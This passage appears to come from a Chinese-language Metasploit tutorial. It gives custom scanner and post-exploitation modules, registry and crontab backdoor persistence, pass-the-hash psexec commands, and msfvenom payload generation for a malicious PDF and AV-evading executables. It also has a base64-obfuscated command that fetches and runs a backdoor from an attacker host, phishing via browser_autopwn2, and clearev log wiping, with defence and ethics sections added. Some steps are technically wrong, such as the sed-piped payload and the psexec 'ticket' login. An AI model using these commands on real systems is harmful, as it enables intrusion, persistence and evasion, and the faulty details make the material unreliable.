require 'msf/core' class MetasploitModule < Msf::Auxiliary Rank = NormalRanking def initialize(info = {}) super(update_info(info, 'Name' => 'Custom Port Scanner', 'Description' => %q{ This module scans a target host for open ports. }, 'Author' => ['Your Name'], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://example.com/custom-port-scanner'] ])) register_options( [ Opt::RHOST('192.168.1.100'), OptInt.new('PORTS', [true, 'Ports to scan (e.g., 21-25,80,443)', '1-1024']) ]) end def set_config # 配置模块参数(如RHOST、PORTS等) end def run # 端口扫描代码(如使用Socket库尝试连接) print_status("Scanning #{datastore['RHOST']} for open ports...") ports = datastore['PORTS'].split(',').map { |p| p.split('-').map(&:to_i) }.flatten ports.each do |port| begin socket = Socket.new(:INET, :STREAM) sockaddr = Socket.pack_sockaddr_in(port, datastore['RHOST']) socket.connect(sockaddr) print_good("Port #{port} is open") rescue # 端口关闭或无法连接 end end end end
-
关键方法:
initialize
:初始化模块信息(如名称、描述、作者等)。set_config
:配置模块参数(如目标IP、端口范围等)。run
:执行辅助任务的核心代码(如端口扫描、密码破解等)。
-
调试与测试:
- 使用
msfconsole -r custom_auxiliary.rc
加载自定义模块。 - 在
run
方法中添加print_status
和print_error
语句输出调试信息。 - 使用
tcpdump
或Wireshark
捕获网络流量,观察扫描行为。
- 使用
4. 自定义Post模块
-
模块结构:
- Post模块用于后渗透操作,如权限提升、信息收集、持久化控制等。
- 模块必须实现
initialize
、set_config
和run
方法。
-
示例代码(信息收集):
ruby
require 'msf/core' class MetasploitModule < Msf::Post Rank = NormalRanking def initialize(info = {}) super(update_info(info, 'Name' => 'Custom Information Gatherer', 'Description' => %q{ This module gathers information about the target system. }, 'Author' => ['Your Name'], 'License' => MSF_LICENSE, 'Platform' => ['linux', 'windows'], 'SessionTypes' => ['meterpreter'])) end def set_config # 配置模块参数(如SESSION等) end def run # 信息收集代码(如获取系统信息、用户列表、网络配置等) print_status("Gathering system information...") sysinfo = client.sys.config.sysinfo print_good("OS: #{sysinfo['OS']}") print_good("Architecture: #{sysinfo['Architecture']}") print_good("Meterpreter: #{sysinfo['Meterpreter']}") print_status("Listing users...") users = client.sys.config.getuid print_good("Current user: #{users}") print_status("Listing network interfaces...") interfaces = client.sys.config.ifconfig interfaces.each do |interface| print_good("Interface: #{interface['name']}, IP: #{interface['addresses'].find { |addr| addr['family'] == 'inet' }['addr']}") end end end
-
关键方法:
initialize
:初始化模块信息(如名称、描述、作者、目标平台等)。set_config
:配置模块参数(如SESSION等)。run
:执行后渗透操作的核心代码(如信息收集、权限提升等)。
-
调试与测试:
- 在Meterpreter会话中执行自定义Post模块(如
run post/linux/custom_info_gatherer
)。 - 在
run
方法中添加print_status
和print_error
语句输出调试信息。 - 使用
sysinfo
、getuid
等Meterpreter命令验证收集到的信息。
- 在Meterpreter会话中执行自定义Post模块(如
十二、高级后渗透技术(续)
2. 持久化控制(续)
-
Windows注册表自启动:
bash
reg enumkey -k "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" reg setval -k "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" -v "SecurityUpdate" -d 'C:\Windows\Temp\backdoor.exe'
-
Linux Crontab持久化:
bash
echo "@reboot /usr/local/bin/backdoor" >> /etc/crontab
3. 横向移动(续)
-
Windows Pass-The-Hash(PTH):
bash
use exploit/windows/smb/psexec set SMBUser Administrator set SMBHash 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' set RHOSTS 192.168.1.100 exploit
-
Windows Pass-The-Ticket(PTT):
bash
use exploit/windows/smb/psexec set SMBDomain WORKGROUP set SMBUser Administrator set SMBPass 'TICKET:...' set RHOSTS 192.168.1.100 exploit
十三、社会工程学与Metasploit结合(续)
3. 生成恶意PDF文档
- 使用
msfvenom
:bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f pdf > malicious_document.pdf
4. 生成恶意链接(钓鱼)
- 使用
set
模块:bash
use auxiliary/server/browser_autopwn2 set LHOST 192.168.1.101 set LPORT 4444 set URIPATH / set PAYLOAD windows/meterpreter/reverse_tcp exploit
十四、防御与检测规避(续)
3. 绕过应用白名单
-
使用
shikata_ga_nai
编码器:bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe > encoded_payload.exe
-
使用
AppLocker
绕过技巧:- 将Payload嵌入到合法文件(如
regsvr32.exe
)中执行。 - 使用
InstallUtil
执行.NET程序集。
- 将Payload嵌入到合法文件(如
4. 绕过行为检测
- 使用
sleep
命令:- 在Payload中添加
sleep
指令,延迟恶意行为执行。 - 示例:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f c | sed 's/VirtualAlloc/Sleep(10000); VirtualAlloc/g' | msfvenom -p - -a x86 --platform windows -f exe > delayed_payload.exe
- 在Payload中添加
- 使用
Obfuscated Commands
:- 将Meterpreter命令编码为Base64或十六进制,通过
cmd.exe
或powershell.exe
执行。 - 示例:
echo Y3VybCBodHRwOi8vMTkyLjE2OC4xLjEwMS9iYWNrZG9vcjsgLi9iYWNrZG9vcg== | base64 -d | cmd
- 将Meterpreter命令编码为Base64或十六进制,通过
十五、自动化与脚本编写(续)
3. 使用Metasploit API(Python脚本)
- 示例代码:
python
from metasploit.msfrpc import MsfRpcClient # 连接到Metasploit RPC服务 client = MsfRpcClient('password', port=55552) # 创建Exploit模块 exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor') # 配置模块参数 exploit['RHOSTS'] = '192.168.1.100' # 执行攻击 exploit.execute(payload='linux/x86/meterpreter/reverse_tcp', payload_opts={'LHOST': '192.168.1.101', 'LPORT': 4444}) # 获取会话ID session_id = exploit.session # 切换到会话 session = client.sessions.session(session_id) # 执行Meterpreter命令 print(session.sys.config.sysinfo)
4. 编写Resource Script(.rc文件)
-
示例代码(auto_exploit.rc):
use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 192.168.1.100 set PAYLOAD linux/x86/meterpreter/reverse_tcp set LHOST 192.168.1.101 set LPORT 4444 exploit
-
执行脚本:
bash
msfconsole -r auto_exploit.rc
十六、案例分析(续)
2. 高级持续性威胁(APT)模拟
- 攻击者思路:
- 信息收集:使用Nmap、Masscan等工具扫描目标网络,发现开放端口和服务。
- 漏洞利用:针对发现的漏洞(如vsftpd_234_backdoor、MS17-010)生成Payload并执行,获取初始访问权限。
- 后渗透操作:提升权限、收集信息、持久化控制(如创建计划任务、修改注册表)。
- 横向移动:利用获取的凭证(如密码哈希、票据)访问其他内部系统,扩大攻击范围。
- 数据窃取:使用Meterpreter的
download
命令或自定义脚本窃取敏感数据。 - 清理痕迹:使用
clearev
清除事件日志,删除上传的文件和进程,避免被发现。
- 防御建议:
- 网络分段:将网络划分为多个安全区域,限制横向移动。
- 最小权限原则:为每个用户和系统分配必要的最小权限。
- 定期审计:定期检查系统日志、注册表、计划任务等,发现异常行为。
- 员工培训:提高员工的安全意识,防范社会工程学攻击(如钓鱼邮件、恶意链接)。
- 部署EDR/XDR:使用终端检测与响应(EDR)或扩展检测与响应(XDR)解决方案,实时监控和响应高级威胁。
十七、Metasploit与其他工具集成
1. Metasploit与Nmap集成
-
使用Nmap扫描网络:
bash
nmap -sS -sV -O 192.168.1.0/24 -oX nmap_scan.xml
-
将Nmap结果导入Metasploit数据库:
bash
db_import nmap_scan.xml
-
在Metasploit中使用Nmap结果:
bash
hosts # 列出所有扫描到的主机 services # 列出所有开放的服务
2. Metasploit与Wireshark集成
- 捕获网络流量:
- 使用Wireshark捕获Metasploit攻击流量的网络接口。
- 分析Payload和通信:
- 在Wireshark中过滤Metasploit的通信(如
tcp.port == 4444
)。 - 分析Payload的编码、加密和传输方式。
- 在Wireshark中过滤Metasploit的通信(如
3. Metasploit与Burp Suite集成
-
配置Burp Suite代理:
- 在Burp Suite中设置代理监听(如
127.0.0.1:8080
)。
- 在Burp Suite中设置代理监听(如
-
配置Metasploit使用Burp Suite代理:
bash
setg Proxies 127.0.0.1:8080 # 设置全局代理
-
拦截和修改请求:
- 在Burp Suite中拦截Metasploit生成的请求,修改参数或Payload。
十八、Metasploit最佳实践
1. 渗透测试流程
- 信息收集:
- 使用Nmap、Masscan等工具扫描目标网络。
- 使用搜索引擎、社交媒体等公开来源收集信息。
- 漏洞分析:
- 使用OpenVAS、Nessus等漏洞扫描器识别漏洞。
- 手动验证漏洞的真实性和可利用性。
- 漏洞利用:
- 选择合适的Exploit模块和Payload。
- 配置模块参数,执行攻击。
- 后渗透操作:
- 提升权限、收集信息、持久化控制。
- 横向移动,扩大攻击范围。
- 报告编写:
- 记录测试过程、发现的漏洞、利用方法和修复建议。
- 使用Metasploit的报告生成功能(如
msfreport
)。
2. 法律与道德准则
- 遵守法律法规:
- 仅在授权范围内进行渗透测试。
- 禁止用于非法用途,如窃取数据、破坏系统等。
- 明确测试范围:
- 与委托方签订正式合同,明确测试目标、时间、方法和报告要求。
- 遵守委托方的安全政策和规定。
- 最小化损害:
- 避免对目标系统造成不必要的损害,如数据泄露、服务中断等。
- 在测试前对目标系统进行完整备份。
3. 安全操作规范
- 使用虚拟机环境:
- 在隔离的虚拟机(如VMware、VirtualBox)中进行测试。
- 避免影响物理机和其他虚拟机。
- 禁用危险模块:
- 通过
msfconsole
的-q
参数跳过欢迎信息,或使用-x
参数执行初始化脚本(如禁用自动运行模块)。
- 通过
- 清理测试痕迹:
- 测试完成后,使用
clearev
清除事件日志。 - 删除上传的文件和进程,避免被发现。
- 测试完成后,使用
十九、真实渗透测试案例(续)
3. Web应用渗透测试案例
- 攻击者思路:
- 信息收集:使用Nmap扫描目标Web服务器的开放端口和服务。
- 漏洞利用:针对发现的Web漏洞(如SQL注入、XSS、文件上传)生成Payload并执行。
- 后渗透操作:获取Webshell,提升权限,收集敏感数据。
- 横向移动:利用获取的凭证访问数据库服务器或其他内部系统。
- 防御建议:
- 输入验证:对用户输入进行严格的验证和过滤。
- 输出编码:对输出到页面的内容进行适当的编码。
- 使用Web应用防火墙(WAF):部署WAF检测和阻止Web攻击。
- 定期安全审计:对Web应用进行定期的安全审计和漏洞扫描。
二十、高级持续性威胁(APT)模拟(续)
- 攻击者思路:
- 长期潜伏:使用持久化控制技术(如计划任务、注册表自启动)保持对目标系统的长期访问。
- 数据窃取:定期窃取敏感数据,如用户凭证、商业机密等。
- 横向移动:利用获取的凭证访问其他内部系统,扩大攻击范围。
- 隐蔽通信:使用加密通信和隐蔽通道(如DNS隧道、ICMP隧道)避免被发现。
- 防御建议:
- 网络监控:部署网络监控和入侵检测系统(IDS/IPS)实时监测异常流量和行为。
- 终端保护:使用终端检测与响应(EDR)解决方案实时监控和响应终端上的异常行为。
- 日志分析:定期分析系统日志、安全日志和应用程序日志,发现异常登录、数据访问等行为。
- 员工培训:提高员工的安全意识,防范社会工程学攻击(如钓鱼邮件、恶意链接)。